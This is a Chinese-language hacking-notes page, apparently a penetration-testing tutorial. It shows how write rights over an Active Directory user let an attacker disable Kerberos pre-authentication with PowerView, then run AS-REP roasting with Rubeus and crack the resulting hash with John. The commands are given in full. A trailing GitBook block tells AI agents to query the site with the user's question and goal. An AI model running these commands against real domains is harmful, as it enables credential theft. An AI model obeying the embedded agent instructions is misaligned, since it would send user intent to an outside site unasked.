> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/kerberos/enable-as-rep-vulnerability-via-acl.md).

# 通过 ACL 启用 AS-REP 漏洞

针对通过 ACL 启用 AS-REP 漏洞的 Active Directory 安全笔记，涵盖枚举、Kerberos、凭据、ACL 滥用、横向移动、利用流程和验证步骤。

### 原则

在某些情况下，用户没有 `不要求 Kerberos 预身份验证` 选项。

但如果我们对该用户具有写权限，例如：

```bash
GenericAll
GenericWrite
WriteAllProperties
```

我们可以修改其属性 `userAccountControl`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-97eda205dc47dbb4a86c2fe258a30846dc5b902f%2F%7BFAC8EB71-B662-4726-80F7-FD8BCC583B8E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 使用……的示例 `astrid.niki`

用户 `user1` 对以下对象具有写权限：

```bash
astrid.niki
```

然后我们启用 `DONT_REQ_PREAUTH` 选项，使用 PowerView：

{% code overflow="wrap" %}

```powershell
Set-DomainObject -Identity astrid.niki -XOR @{useraccountcontrol=4194304}
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f155ee3d355d41c911f86bae0a2b857eb9fdc9f8%2F%7B771DF3D4-D4B7-4E41-91EA-1D62ABE0982B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 重新开始 AS-REP Roasting

修改后，用户会出现在结果中：

{% code overflow="wrap" %}

```powershell
.\Rubeus.exe asreproast /format:john /outfile:hash.john
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b78347a6e92f6d1da953ca8b7a0f290d125742e9%2F%7B712BE102-1190-4BE4-99C1-41C50FD86EBD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

然后我们破解哈希：

{% code overflow="wrap" %}

```bash
john 哈希
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6567e19bd3c634a129aa9c89e34c1d9cf9d42b65%2F%7B35435421-ED88-441E-8AAA-A349A919BD98%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/active-directory/kerberos/enable-as-rep-vulnerability-via-acl.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
